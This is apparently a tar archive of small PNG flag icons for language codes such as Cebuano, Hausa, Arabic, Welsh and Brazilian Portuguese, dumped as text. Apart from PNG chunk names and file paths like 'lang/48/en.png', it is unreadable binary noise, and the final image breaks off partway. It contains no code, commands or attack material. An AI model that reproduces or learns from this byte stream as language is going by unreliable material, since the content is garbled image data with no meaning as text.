IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F!IDATx��Kh\U����d��L}�b��)�X%Z���)]U,.�����wōAp�V+�n�F�՚��+X15$B11S3�L�>�\̝���N�ڋ��=�<�s��|�s��,1����;[)���D\=>�����O���86�w�l����춁�!u��X
�xi���
=6Ѝ0��+���M�JZd�{-���j�u�L�a�l1|��@���R�*0���e[Ս�U�\'2�16F�G<3�g�G��ޮ���4	Ј�"�����⺈����6$A�ր6��
��qc��E�
p,�4�� �d<��I���Q�.y���ձ���#$�I��a��)�~�����b��0���2���م����_\����G"��]u�
�����m|t� S/>��̆���;88��g��w�fv����R
�C<�
��s!T�Y�������Ȥj�޻;�[�L����X����F���"�1n�P�赼,�x����|Y��{x��	�޾زˊ~���r���Bԧ"���\��{���Ğ����Μ����GOh��Oc
��x�i�'{`�I��v��W�[�˶B3 �])�ll�?�t�T��V��z6����Rv��6���V�:��6�#-��M.B�򇅶��ZW��`Y
#�A5����\���0��~gzf.�~#jY%"��X��&P�Ш|�՜|�S���G��5�S��ɭ������Yq���$��_�/s��Y�j~1[���3\�˶�W9z�0�6��֚���j^.�?�f�����±�8��~��ه��ǟy�N�ƻ����ږ6땕=�@
���}SW
n��ux$zo߂�TD�Ԫ_�G*�������w(��
*��0Q�a��3��9�ˇP0�_^v��m��:����R)���`gWW}�۶�>�v?V��6*f��m?Ja$ ����c������-�r h��
�+���+٩n��\��V�N`���/?)J��z�g�������?���B�͎��IEND�B`�lang/48/ceb.png000064400000003034151721413500007156 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��YlTU��.3���pED��@Ԁ$�ƨ!�q���1�P ��C"A�H��&�v�"V!l�mR(��	Zh�t�2�=LJ{��v1P���^��s��mw�R��,�\&L������x@^uuC�=����?8Z;��KK�S\\ĉ���}�1敯�m�77*���ݼ�����n����@�h
�M�p�O)�u��K�:�!@)((� �p�G��@�8��ϱf�R>ϙ3�h��a��4�G�E�z�}���@0;nN��e�(���# ��\:+V,�������)SC(�`�s�*���S&9{DO>����L�
YDK �V�D��������+]]�c�/B�����	�Ge޼��[�4{����r
]w�ic@����KY�38PGuu�&�u=��,92.��ʕ�QX�CU��H�02�4�� *˖3yr�:IWg�te@��,�.�>�lZ����";v���Ԏi���mIr�����
Cf�b�D�� �h��w���ؾ}9��?PSS�8��k�tm*���$0���Q:�@�8s999.6o.����ݻO
p3�Ē�xB���U,������>��u��7���2X���M�*�W?δi�����߇�5�~�������j��
A�;�G����̥���e��?��qS
���\�ѧ�&��gN�B �r�s������:�F�T/�mʿA^b�YTT<O��9x�
|��4D�B r��K�:�6	��A���,л\X�p����@ ȡ��SJΔ
T0|i_C�uS&�&QH�C�6��H���)�`>a[J^qB�T ������S��_�I�BJ)��eBm����P�m�m0cQb���m&���_��pc3›3��,��l���~�΂�#[�[;���m�����U	���=�*�~?"7{�F�N��#�$6,T�(�a�	�,Ц�lu=F-)��^Io�n�i <���4
C�8]�$/��%�H:"��A��$�e;�(���½��@��{�V���!7�i U��5�x�{��LVZ @d��GA��� Z���Hc7�|��<���8�B����`>���֑t�ߊ��Dxs���"�J	��'�?�g�N��D�gB�Y j�@�����~Z��dA�;2�Hl)�`��rsm���l�ǧÌ�B:y@�Q(�2-����xv%��u��<�\�r��<��j��d��]{�Z�:V�
DncM)��0Q�T���ڏ� ܮ�\��a�=���K�k�:u:��(B�¨*$��u��m��ڎ6m��nV���x�d0��������-�p/����%@���4��u<I���O�0 ���Eih%�ѱIEND�B`�lang/48/ha.png000064400000001415151721413500007016 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��AnAE_�'2�!�\	�p��)�p
��!8.��������=�L�`�vf4µ���_~uU�ۙC6�mO`O�'�0^�C2������o����z+/��{�=�Ë7w
��0��>��5>>}�5��O�0VUD�ﳟֈ1�|6�c�����~o��ɭ#T`\�QQYK�����ʽ����YT�EQ�)A"���`�H��-�z�Ms��@4%hE�U�{ d`��MfJ�U�@f�U[Q%�@���&S�10�A�̃Q@Rf1P��9�̃Q�* L�e,����L�w冼��C�=b�T@�U�	!�F���i,�r�뛷
!K�B��sUkׁiU��f�D
�)��W/�\��FK���5�H����a��
_����dmtӖ�n��U�t��B���C]�]�\��Km2Yig��\�V�*x牋/�4�8,�h��\�k��G�HB���7��}���X[5�����͜��V���M�.�B�̏Kl���frf9T���b�B_W5�C1�ܲ�|���g_rr�5�:�
.��u�5gs4>�ܙm1�L.&Y���o�@.n�9�>��7�}���_/-�!Y	�p���=�=�=�^�"��@��IEND�B`�lang/48/ar.png000064400000004712151721413500007033 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F	PIDATx��il\W�o�73��-��8v�&vm�MIԄ.����+���V*_@�T��UBH|DW�Z	��hE
MH�V7���q�$��-�ƞŞ�7��ˇ'�N�	Y䌮޼����9��jJ)V2�p����w`��uEPCC�,,l6jkk�&x��V����
J��-+�����929�5�D"�`&@-бyR����S��)�����bc�yr�H��2��8R�H�������R�+ ��l"h�w̿�4��e�%�4�"Ú�����]֜d�a��|��!���R)l����h�D^c�2�5&:e9E�N��W̅�B�\5r�w!Y��B 3����"�-R�]9�ö�VK��F@���p��C�@7?��H�,	()2�����L�ʩ@��>����ˋi�h
r]^L�10\�\��K`����L�$�$��딀�1����Y�Jy���X��}�ɦ�Z�Vn�2P���81q)m�a]��K��c#��ޅ�"��c��(���!h(���U-l��gf.Ɓ�#�̜e �h|2YC]~=��7���h:���tM��i,�}p9.���J�H�i	$�eP
RI�Pw�o����I�zz�x/��^B6Xh��@����I_�8�ZZK�xf�üѹ�}���]�0Rb���E9RO%I,��G���u�0����&N0��vT�U�J)&�B�	MS����p���6>�Cn'���O��,���;f��6*%q;I2�DN���fn[��Hh�W;_�0��1�r�++����_�T�o'�Osd��F��G���q���ivֵ�1�K��I0�K����̉$q�^�d��W3�����p�7z];�h�Mxذ��h2Noh�C�O�czh*_O̱I���c�,��w����y0w'wU�pl�I'�q�,·t
�D)��$��h���޶�.�O�sx`7n�Ú�MtFβ*PJoh�Bo�i��
K�!�`K�f�
���3��	F�v�/sY_�������;.뚛�J)�Z�#��%�`��b
��O�6�ȳ�Q�_��V�Hd�a!�D(�K7�L(�I���<��i�C&�����ڰS��!�U���B˄)i	�T&Z
U����125�d<NcE=��#%���ܾf���Ǚ��,/n�Ň����)�q��r.����!�'Ʃ�i�X�/r�F�$���%;i
��ul|>Elt�\��o>��,9��0t��D[�x��^>:E$9G"4����N�O��Q�
�@0ȅh�-��"_ޥ�ґ���R��/oS�%����#0	�gi,�c&�*P�٩v�Uy�l�n�@;)�&�&XAS�:��$�#��21;���K�Adv!}ޑ�e��?s5��������l�\K�+@��)zB�D��T��vY�F'q�$`��񕲮|
'GN`h
��O��\J9K�a]�/�S��iȕR�0�	�pGͭ�2��'����'FKa=&:�x��Cݼs�|����(6<����?˹ɏp)����'�X�y��n��#��@ȋI�Z���&�b2�q�F���4��A�?��X���>��n�=�b44��[�և��Ϣk?z���IZ��1P���O��a�"�f�y��h�B
PWfE��m�rh7�+6�m���x��^�.�=�<��|�gw>�Tt�E��t>5�S|�p�}�۪oEj�����珁i�RxP ����XT�d�]�w��s���^���5�"��%��ޗ������~ܮ<��SC��|����o��w�-v�<���z04��s�Xt��ـYP�7�J"�$����*�ͱ�n���i�^Ϗ��$�����soOu�f�s�:V��*@)��B���4��������w�3ܼ;p���Q�uY.�>%��~.�=qnn��M�QY��b�gFJJ�������m|�r-�����7��N[�JC��VU<��m��Q�y�������~GS�����	eȖ@tjʖ��
���6j���6~��Ce���WH��h(_�H9��C�46���r�h��'43��l�����J�n�9����А2�ԇb1ǔ�2	,m,���]�䳣n݃gpY����U�N�v��c�l�4P�޳m���up{�c��C!��xa�f� $�.���v3�<f"a�f�)�)����b&�07����KWejM�W[��+]�J|�c&��g׉wy�7�)����
�>�/���@cI=����.~��w�
�Ǐ����v݃	${η�k��]W$�&�94�_,�_�@�
��3
Լ�A�e$���Yq%v��Fƀh8����
@�
c~��2�K���J�$�n���p�
�S����gz���eIEND�B`�lang/48/fy.png000064400000002533151721413500007046 0ustar00�PNG


IHDR00W��sRGB���gAMA���a	pHYs_��tEXtSoftwarepaint.net 4.0.12Ck��IDAThC�X�oU^1�h���%*HU���Ay�@U"�D�P���T#%��4�jĀP%��$� ��
�bmݝ�������q�ٹ���3���,�|ɷٜ�9s���=��$ �d�q"��`���D6'��8�
Ɖ��¶:��Í������M��ux�T�{I���l� �
Ѡn�1�� ַ~��2n�`��?����Ɓ�pݒ.6'NJ�t#��>Hκ��ٱ�bSq#��3�Z��<<O
���
������`(�Pn$���T>(@ߺ��o���!�����
'�<Ryp�:�����%�80�#e�T�l��j:27�E�e~/�?z�=��iھn$ğ�-�@߰�^2}�Z�4��R�ֿL�3o�E�6r����V���<�87�$�W���C
��W���n�۶���V�=BSK² ��R�ͤ�V�F�A���C����]t\ 
78�8q�T�,�ٹ�t���n8O@o��93�I�@����L׍ym��2S����R@zE#,(َ��
_��
;��5t�Ȼ���Z�+R��ʂz:^Q�R��C�*w�+ Ӿ��� �W�8N��{?sd�:7L�
k�Ss��;�����&�c7��i��
���)V���`\[�)�@�Jj�o���8�An�Ϯ�OLo��/?A��0GG#[���sni��
\`B�:�(�.�(i�rC}n�/qC@�Q��v�պa�|B>u�t�B����
)6Vذ��T�q�8��6;��z�}�vf�&%0]7�I�3Oʧ��8�&m�Q��J��$�c�ݙ�oR��
T����FLՍ��M(���������?!���Z�	�u#�
B]�4i����G����ƋK�Jn��W��N�w�Jn$n]sN
&��k���H�^�N��D���XCGꆭ��$�c'(�P�k����B�.��ON�Q0�J��pq2z�U*u�]EqM�)�ڰS�^�)�6J�9�z'p�b�2ϟ����P$n`��8�;�p�����1��n8��u�r��������?Eǫu��w��n��>@����t���Λ���K�ŧ�3�����?�Xλ0�ysp@��A�OB��^7
�g YwG���;.�r\�}#P��p-�wRm�K�?6��q5v�P�~k�j�Fh�A�*�r[�X�
Ɖl0Nd�q"��`���D6B��v�@a�tIEND�B`�lang/48/lt.png000064400000001350151721413500007043 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FnIDATx���n�@�ko�FJ�H����8p��x���+$����Fm���p��ݘ��DGd������~���|^��X����p@	��Մ����r�XTx/ޝY���>���3P�������\�=0BT@/�S�EY���u�Kz;Ƹ�r�tF ��
@nXw�R��Oc���6���!�|��릙�����#�����MPP��mhj	@�Q��UjdD~�Y54��/��hd8�V�<P�zY�x��G�7���qr����BQ��Y����8b��*T�:��D���pU_����ƥ2��SŨO�O��WKS���"���CQu3[6�8j�tA���/�z!�"h�3\�T�%N��M�]�5�eTE�!��¸�´62^��i'k�o�\U�i�?�z�iK��}��;��6�8�||�
/��6�i7ʒ���'^DPU,}��x:=J�P[|y��f�)�NOk�~&�r]����2胣�tESm)�y�9�h��1S��[Fs�,����($EP1��%0B�//1(���c���;��i�Z�
�r���=�=�=�*��$H�%C�IEND�B`�lang/48/be.png000064400000002673151721413500007023 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FAIDATx���oUE�?3�u�����VP�>�R(�����h�&,Lt���[7�	�&Q�шqiԠ���@i+ 1Jˣ��}��׌����ҖB�=��%�3s�7��=g��Z��I��i	���;�3�\L�	�\�;�	Z�0��"L��i�M�`���s0�*�~TbEEy&Nj� ���&�H�0�+	�Fn�f�"pB'�Ha<��s��X�����
50��5q�٧���YxdQ!h�jx�ׇY��܂v=���ft*��}��3E��}s�N�k�o���;�3c=�J`ȼ"/����BH����FB2W¡�О��sN�?�'��1dI	�?b5l��?�3�m�4�"���@�9�9h��XS�I��X��y��=?Z<�ҾOx�榍x�M�q�w>��S#f���(p��6�e!�/C]��Q^�5����e���=7b,sTH��!�d��
g�.d<N�ȧ�^ٗ�7b�\t�
�D���ET�e�_O!l�Յ�,�-h7b0��6�\����r�Ө����!8ь޿�@J�	X���df�������jH$P�ht��ڀY[��xu�=:��N�m��#�bj����Y��*�x˄ $���.z^�sAȜ@�,���s�=���p�>��j��<r^@�f�\Y�
y�&��*������q'����5{�d���2�!h� �s�c����K��=h�wGs��s�h�ߏ��^{���L��݄��PW�f���5b��M�!pt:
Rb�[�(NF�0�[�:�?q���"qdI	�#�}�� �ʞ�TN��:���7�L���Q��@�<���7da>Ak�"�G��;�d%��q*�wq*�.���6���~�YF�{g�nDq���ψxQ���Cv�TȔ�vMH`p�~#���O?����vlG���!��R�8��R��z��}����@$��3��z�k�w��y@��K�؄����L+~Sf�j����	��@&ڹ�g�k�m�;�g�/�J멁�ھ����:P��l;��͈dr�
ݭ-�{�Ř�-�R��¡ADq�7�"++0j�q�<���� i�<��{;�_@x�/�=/�;Op�W���t�C��F�^tB��H��W���h@�n��l؂��G�\����u�%D2�xh9Ak�(�(+%lkG�ޏ|�2�����4Fu�C�q���8��p��J���yD�L ��+(&�$F�2�c4�,�D\��Pj8��P�JY\��	���
Ɵ��\`X,��_�`	���?���.s¸�IEND�B`�lang/48/en.png000064400000005163151721413500007034 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F	�IDATx��{TUU�?����%��@0%_�+KK|�C��BpL>S[�c*J��FS��Ij������'fd��h���a-J�'(��<�=�=��墨�j�5�=��}{����;��w�#	!h�E������ ��~mNE,F��<=���GOQ��w��$/��t��j722�p1vB��
ݶ��CS+`�Ǹ�� �%��D6ū7�i*��|y��hy#m����!�����ţؿ?�S�.ڍs7oS�/�>O�U�����dW^�a��-�(�g��E��h������-���[p;�rs����O�p\B�0
DG?���;�w�FQ�0 K���HR�Մ
~���DBE`l��H�B�hta�Ȟ�n�F��O����k`;Z�
��&�N���\�G)��n�~H��<z>
@DDAA�lߞ�ի7�pA���@Bk`!�k6�w��!����K�u�V��⡊����b���^���A�t�-���G�YK��f��Ƣ߬���Tlۃ�4��0uj={>��XPE�QTU�Q�1 ���EE(B����h��RtTUGQꫪ��j-�Gtd���>}�k�סݬ�gp�c�ʗ�U���6~���#f�<��d��~J��]X/_�oL<?\]�$$<Ip����Qk�8�6|F�ֻ>V�j���F����#��Fi�j�.��ɯ
�ϏƭK�lnn�v��ĉ��0RQ^�{�0h��L�F�͔weQ~p���~�:��ڵY��#ICBQ�
VZ�3i��J/R��SK9���o|_�\F�iv����
!��4M�bѱZ;?���p&�K���̠x�J�b���d4Hr���r�d��y��"(�Ձ�c#p�%W2>GƄ��8��D2�R��\CZ�a�?�`�h��@M���Z�8v�._����i�ʟ��4��7�\) `�Dd|}�IJ�f͚,��=��^k�{֨U�j�և�Q��5;����'���c��V�lY&�/9���bu�m4,ũ�\�/���%��3q
h���W\���K�4.IL�җ��~X,���X�u�b�H��#)�5�Ҭ}���i���gg�g���8{��En��f0�1"bq^H�/UU��,'�'~@(7?XG��}}	�>	����B�U�d��e���FW>��Om@U��p���J��'`��^�v�*��'ظ�[E`0q��xz�(((�ȑ9�$��"�)IʹgF5��~�֦%r���k�,a��f���S�g�<<~����4+�ꊨ�q���0��
�ȲUE�j������VRv�>�	�[�5�]��:�n����~�.�����H�'��[�&ᔉ��ݑ���>�Df�Ud�j��
6��t�?���t{�ܖ7�ޭ�|�͡�:ut����7pG]w�@X��d��N����X?�i�����'uQ����F�Z$�L�۳q�d{b��=&Ȳ�[��.
g/@-+�'6����ܔ˲[�u����d2ԥ--5SZf�]K̔��)))���̜91��n�Cy�Zb�sm�<d:nX��G1��hh!�Zw�P�e*ii��
>�΃������ߧ�w#Izܕ�k� �))�NII�nee������:HBF V|��$���X��c9�0�����ُ.9_��GcG� �b���W��
�'O^�ܹ;m-�F������s�ɋI\iߞ�]��j�ɀ�ad�ޟ�}��ڵ-�����1A����I���IڌCЎ�L_y�7^Zg.n����.��E�?!
���kZ�e
A3f�+*�O�J��U|���x
!���_���u�nP���}8p �=��&�������%��(�Ӓ����g�|B겭aB�<(�
�e�pg�G0`)�N]�5!�M�΍��~�s�D�8�mˇ0/e,Bh����ȶ��K�$�y�������R���ޭ|1���%d�;	x��c�{rr.п
��h�M���D
�(s�O��O�عo��~�zM=��>��O%9y�csƗ��Cš=�H$�H&)?���«%�{EW**j7n5/����Z[44=܎�/��չ�\"������^���뷔����u�P������[h�_�&���J�6vnɲ��zNZ
x �|�޶Q5��\��2��Zz��Ċ�����)۴���fa-�H���H�����]:�m�1;����q�:o&�e�s(2�>�)��rо��+	p';�G�����Y�߄X¿��W��7qyh��uj�y�+�fR�w�Vύ$xU
+���[���5
//���&�����W������v�L��h$%}™3,Z���	�n�i�;�^_H��U��?�h�
�eN�uV��c�7wp�[K
�PVf�S��awW�_YYᐹ�^�b;��!5�y:t��J,�EHX;x叚݀V��
�u W�/���ڜ�����>�����_ţ�i�	cIEND�B`�lang/48/cy.png000064400000005616151721413500007050 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��y�\Wu�����t�ҳi�a�Z,��&�Ř��bG����6"@��;�!)P��qAl��x�L�(�(��	�Z-Y�����{fz{۽'tO�ƒ�LB��������w��s�w�=W��YL�v��E��	(�b��Dj��QDrr���X@���&��>��ׂ�24������	�V�1����P)�9�ç�{����t\P�B�캟Q*κ#��c~c?�;x&�������mm�CC�|��S&a9oߥ֚S���=�����|}�^��v�!���C�eY�cbv
�����o�`�Ai�
6��0eQ [Ҵ^-J����>��??���G܎�|�qz�W���%N"Τ���m���Aҭ�g�sEd�8"�|~�YDg��/��bvS|�i�����g_Dl�!14�B�ϖ�q�5(5~�t2��z�k�%�Š8h�7�`�xEW����>t�⁃����e��)�����R��x=}�/����h#���I"���y�{$���1��m;h���Ƅm����G�:H$� �(�,@+p��F
K� �4��_�%��'�U+/<
I����C�4��B�?m
�u/R���}�O�@�P"�,+q{��v���>
_�*���9<��V�P"T���1Eǭ#��P�qj��7���"Vr/��1��l����~mn����G7 A@e�c�m��Rhc��{�ɓ�n�=����&QT���pP������Ӿ�a��LC)��􃵘t3f �s�����G\���1�{��!��W� ����'�!p+x���<�csr�w�ŪK�='�j��x�����OS��>R!����N�ߺ���t<���N���ׄ�|��hH����L�Bn����̹���(�l?�s��1����f��{���86A�Ԇ�i��
[�#
��Μ�ț�8�� �b8#\����߇�r)�B,om#��~�U,1�+����D=���]����(�M[��[)�Q�2x>Q��'�D���'��
�d�N��W
����,^Ĥ�?�7X#Eb�Ru�l�,y=���hy`5�曱?�W$��iq�G/�h0�*��SI}��u3t��'�%��ᠰJ@\A��D>��}bvM�����U�0r���#Xݵ�J�H2��� .=Aą�s?A��2�ڪX9rgx+��/��@x��W�H�\!
X�ň�`�IU]tF�`�hC�5C���(:��Ҍii�i�"bJ��	�����-%�J�%�˵)���!�s;�FHn|��@/��a��ѹ!���'��E�o4%KQ@��P��E(#��0��t�*�b�b�bq���/Y��{���r��}��bB�Я��2*`��k�K�:O�X���}]�<��{o'�-�����;ȷ���B�&kMJ�V
ȋ��f�EQ��R��lD)�"l�CY�@Q����(,�6&��_����
g�|&�fϝ߫�ġ1�,0��<�x��8w��8+�d��_�_o�EKΥ���1DkVk��K�ApD���M�eр"��Gk��@�[洲y~3�g7r�#�8V͖o�Xk��Ts��,B�x��)U� �u�"�~h;K�GX���Tl��8$�� �
�PP�ve�
�"��F���FQ�h�	��@��p8��ZI
�I����QLEF7
g��ecD�ɨ6��GQR�l�48��/#f+bQcC�h\��MNB
�#�Fp�� $�����
"B�("���|�D�!ㆴTB�B��\��?}`3?��̐;��1L��0W+m�Y��F-U���Y/f���4ߒ%!�*��-�F8%�M�ETm�!i)��D�BCJW]$� �k�����~���L���Ne��&�\���L��N�I��i9��w�ya�rb�X�����jh���i�h��i9Q�kn����GWv���v���k����FX�fnj��4�~Q+'��x`�ܶu�l�FC�`ё�r@1� ���&̆
WT%%>����/����8\HgXs!g4�GTu�ϵE����맳c^F)n��Ks(<�����6V?}�{�[��c��C�]�j��z��c3�X��)�������ټty��q*�8�g���n*���9�-��h�c�h��g���)e�:4��F^>��s�X}�|���=ڊ��9�|�J~��?��ڐM9��%�Lۈ�E	hC!bQ���b1� 1��S���U�UB�r^U����6�0����^P�Z[D�~d��|m��J��<G1u�#�q�\����{�����a���W3Z����Zo�T��ZE��B�6U�o�פ����]����l`iO��_`��('�q���!SO󽛦q�'U��xw_�\�ᑛf��5S��ѽ+�\��<y���/.�`Ն^f��m �T�ub�ڋ[Fh�k�݃|l_W)�����MY.ɖY������:�5�ܲ��}�~:�
l�4CE�+��1_SiK��+�}/�S�h�5;�X��I|�W�m���������d,ő�lX�A��|�#]6A�f��
W�$Y���߿i//��y�x%�(Ţ�a.�)p�-�W#����j�)�uG�60�Ko[%p�>&���x΢X=j��G�7�S���5���Q��M)��H�R����/�F�(ަ���9�;?��ģS�Ą��:��
�#�:��	,�'�`����'�9��œ��.�H���������3IEND�B`�lang/48/sv.png000064400000001612151721413500007055 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��Kn�@��r�CIر��8@��H�!��5;6,�\��@H\�
�PƏ���=۱'���bjc�TwU�U���m��D\VV�w��sH�$���x��o�7{�:uO_�	���_��mI<��_�x�S�s��ƒ���vl� ���P�����]��8��m4>ү��h��v���z�^tވ\"w'���*�LH0�|���p�K Q��I�f��S�6m�U�b�H3'�HV&��>�Z����wf�����Z�k�4w���48I�x>Ig:X���ɫ$���,��XY�����H�ᐊ'�:ͽg�X�|:_Kp�:�^�wk\���	^��3�r�,�oœNU/;'[[��j��0�@[qd�
g�ƽ�B��@!x}$9I��$5Ig�&vڶ1k�we�M?��&�e�~G������aq�d8��>܍�	
�I'`�t���m �+���p�e��f�`׫��<�i.}ɅƐ.���r̢̓)�����q&�0?���z�S���z�Tb-��z<�r!0�]�jƱ��$<ԩ��w�9�\�f�\�S	���]{t��_���3qN��<�Ň���� s�N�&��
�<����*��,�e�9�{��pՆ����jɨzNbS���
^h��:�pY���V":�e���e�'�c*�Ys���I�/ָZ,g��V6;U�윚
��{u�������i��������G+Oț�sH��m��~```��ww������IEND�B`�lang/48/it.png000064400000001535151721413500007045 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���n�@�������Vj���V���g�@���
x.��P�w@�6�
%^��p�����i\��d�G��vfvw�bf�Y"Z.�
����H�-F�%O����4v_~zwZ���/��Șo����}��Ã�S��72��gOk�>s��r;zf�j�,�@yi�ҳM��Bt0(u` �hoL9�N��x
x
sʆ�|�>��ڲ��f���T�I<0�z2
U�Y.�#�����Y�je%SO�~�9`����GK�p��B.��� (]��i�p!k��R���Co�
9@Hkt �f��<�ip�Hkx��b�Q��(8�&B(��8�����<��ߙ#���@A�~�c���ѿ����k�,�HuPU.�e#��Z��KA�+o�o`�;H�T��Ѱ��nt*җm���Tц·L���Z�������͜'����:�$q�^�P��ĮB�(��T*��&P]\�M�%��4*
�b%�JU��l�ف�U�ff�mͫfl:�!@�,����:	���~�f��⑵�*�gk��G^��s�
�⸙��.@O8��ɉ3�qtX)&�JS�͏�uI�"9�����J���6=09V�&/"�FD�2@3Ml.�V�`@�b��|&}�&4���m����'[=��Y�����??��z�>p�kY���K;��M���S��l�?�T�r�:"�IEND�B`�lang/48/sq.png000064400000003323151721413500007051 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FYIDATx��߫\W�?k�}Μ�IríA+�6hEm4�X��
��!y���>��}V�?�E|�� ��A�APH-r��F)*F�x�9�9�����aN��Lr��&r�.�س�Z{}�~�>bfdsp;�0���ȀN{=H���c���g�����-{`	3:�ߋ���T++K�8G��L����{��ϻ��;��.c\�OK�?FSš1�5W&�^��3�����j�[�����ާi쫟D,6A�%�R��� k7Umv�D�״��g�L԰���.���L>�5Mp��R�@��A�Is �,��l�C��X�{
�_��\FX���Pqx��T���+MM8S���tXO
��5񑢤Y 7[�	���=�ڨ��x���a��X�*U^�*�o�L�z{��G��?4�P��"�R��p�"�^�4�����<G#�5�5r%%q�+���p6�q�̀%q���b��Ou�uS�"�
#/WC>��C�m����2�U���E�����&p%F^4奦!a\���E��61�Ot�<?�b���aGn�?�q��/�ń��d@�!��R�lj�f�-Ǻ���$eKaXUl�CR"4U�Ġ�C��"w��9Є
+7�湆��(�D�nj����4�|T�j3r��%2��ÍGίk��ЩXLX������ju��8�s��n�L� 2�6�9LJ�XF�㯩�/1�!d�"�n���
H���4��TG�M�(%��
Ymj��8�=f�u�R��a�b�Q�^w
B1b����«Ո�&���ʔS.�!�E�X�43~�e<Q<j#J��Wc�\�P�a���Ptm
��-�����&/����T��&�A3�=дN9�e��|�#>�P�i�Jl��4!b�܊��aT�u��Z��^ڑ
<���D�P�]޳����7��:��%�,�u�	��:p�(yS�qfě2pL'-ߍ�Pa��3���Y5d��J��YM���yG�9�P�}�F^�
��?bCi�O�!+aDREX5t��$�b�hƅN�8[��+:|y{�ϭ�r����W�ū���r���o�������Y
‡;]�l!9'Y6Kd��q�5��ܢO�N�Ù�U�%}q��t9.�W�6Z_l�L��N�.����<T\,{�]jzϰ/L��](�h�y��V��_	�#?L���\��O�K"l��-9�zJ<]t8�w���/6U�fx ���[��c޺�&%3]B֞k<��yl�e�㭒�8N�%��b��T^���dU�qt�`Ʋsc�,z���NCHUq�b���48�ym<�g|ζ�'�5M<���<�w��l�`�REX�tZJhJ-�/���<-�+J^�ė�����#K<�l��6}[y'�O|���]Lu�Uf,��3�>�<�y���6?"�M��M�Awsjо��C1Č��'3Df����
��u��";굅�r/̀{���nR���{{��S�^�`B�JTw�i%1��b�� ���FY��>ݾ�r?-�x#���{��
\Ə���׃dؖ�'��p���3@��Ky1#�IEND�B`�lang/48/is.png000064400000001761151721413500007045 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FwIDATx��ϋW�?��gf�YWvE0���\QTH^<�ͫ�\�s���r�9�ܒ�r�"ބ\"������n��r�����73Ð��t?�V}_�{U5mT�y��9����;�� ��76V�������$�]��uA���&/o};;��/����y��7�#`EE���G�@:�.Ʈ|qf�����^��������V�pr3��U��;��z�׽��+�*�T��ǖQ�A+QR�I��f
�0�n.qk��:/�sGb��5Cc�g���@��*�yR'�}�|Aw#�b�Gt��Ŧ���`�ڢ�8��_�lZ�Ԧ%
&�+�*m0}8%�k]%h�SG��I�NBB�8� �lR�`�!'/ƒ�xp%�7#�ةh�<"J����ko7q�MB()z �p���y�n[釐vvS⤁�2�d	��\��2|���* q�|I�*�X�c"�gU�a��x~���̝�S�J�1�E�)����<����O�_���G�>DrU�S�M�ı6�����yTtLi8o�f��Ί��*�z�<����Gӣ�J�C\���4��ӧ���]+���2$)x{�܏5����|+YYDG��$�`&���Ѡ��j���A���2����ndE�����L+�vgCs-�����E[�j�hyy���&�V0����/�a���z��ʊ�hnI�H։�E4#�v{۵�F�ٍX���Y��� �C�40�"��m�'0����l��g�SF`�Bh.�36�G���n�0��qC��A�[��j-�e�Coss0v<��u���'�
�Ĝ��W�}C���r�;O�[f�~A`A`A`���T5�a���IEND�B`�lang/48/pt-br.png000064400000004765151721413500007465 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F	{IDATx��{p��?���}��$T�E
"*(�U�X�"XE;�C[��lK�ӱ:g��U:�?��eG��#���B	F��!�y�{�����I�
A������9{w�=�=��9JDȤ�t�9��`ѰH�
�}����
��z޽6Pn��0���`-@�
DEc)�A
tL�<R�DԷ�g�߉��G��8j|� �Tl$�}��)�v�����__�g��g�L�A�9�㙠x�q�N�D�|lKs��R�v�>1�q����1b�x��3ޙ��_��U��<<E�U�FNÊ��l?�"�,��h��"�|�\��!���3(�;��In�R.F�w��QQ�VN�/uR�O̶�(ѩS��W!7�?#_揬`֐��uS��@�q�P���'�C�Y��[Yhu���
|�"	�����B�#�X�sY���7�J0F�p�m(�q����4�6� ��[��1eSx��N�=C�rN@����pO�/�\�1gx��8H���3�y��q�����x`���jn�5���k)��b\r�N���e��v"��}��p|��
d�ܧ���2�$ƒ�0*�K<�b�����8A΃�AiU�ie;=�Z�����<��*�
[GR��Q�̬��_}p�����T˰�&��X�2����Nl�bL�mc�gѨU� 
��,~���GC��3���b)�N���W�SK'3�z3bc�[xl��mϳ��bi�$�Шb
Đ19���Q!��Y��+-��֢�N@����3���E&�Jy��f��9�
�<3��~��p����D�D B��70�j:��tt�t�(Տ<�"@����F��}���&
b��Z�F��Cκ��f�G:pIF"�⣕blr4�lf��]��D��\����e�T;�Y�V`L/�������6N�W�a����;Sd�F�ȥ{��<�)��t�1���(U�x^;�����M�0�\��j�+\�9�)�Vs��.�-���.a��}4���|#ɵ
�'�vKc���U^��+y��I'��U.�P���y�қ�m̓Sk�]�6M��6/r���މ���|\2¾=m��� OjEee���`�
U�y�^[�̦�m��v��M`�hQ� !�j{ˮ�d]���B���lm���lG���g�1���P]��	Z��d�e�y=!wP@W.���v�nw+_j����;j��ڡ<�t';�0� ;���c̩��f�\�ܫ%��ޒ�;���v�׎.ėr���5)���d4�� 
,+�6�<���J�QJ�cK�Ⱥ�_s����E�6����z�p���w|�|I�f�-ܽ)(�;�
�����ŭk��ki�'�0(�#�!ƎP�%��'�8Z��d]��,K��F�hlj�ղby#�=	[���a�
�V�6K���5��Ou��m�:o�>�҈"��4%�+ꛘ�B9/6ބG�@"�mu�xN�wr�XՕ%H� n.��ܜOW:G B`"ˆ�x��ۺ
��
5K\����b��5R�ı�U�_ ~B��[!aG���j#��]����JP=b6�~��DyL��$�e�1L�i��@"!u(��6L�腞��V���L��~*�^i&�N#᪇�#�b�J��|�v��	K��H��G:���巻��*�b`p�}����5CKK'��u}P����Қ&�XıpMC�Q���}9��@��Þ�L[[�(q�(������ �WbR�I
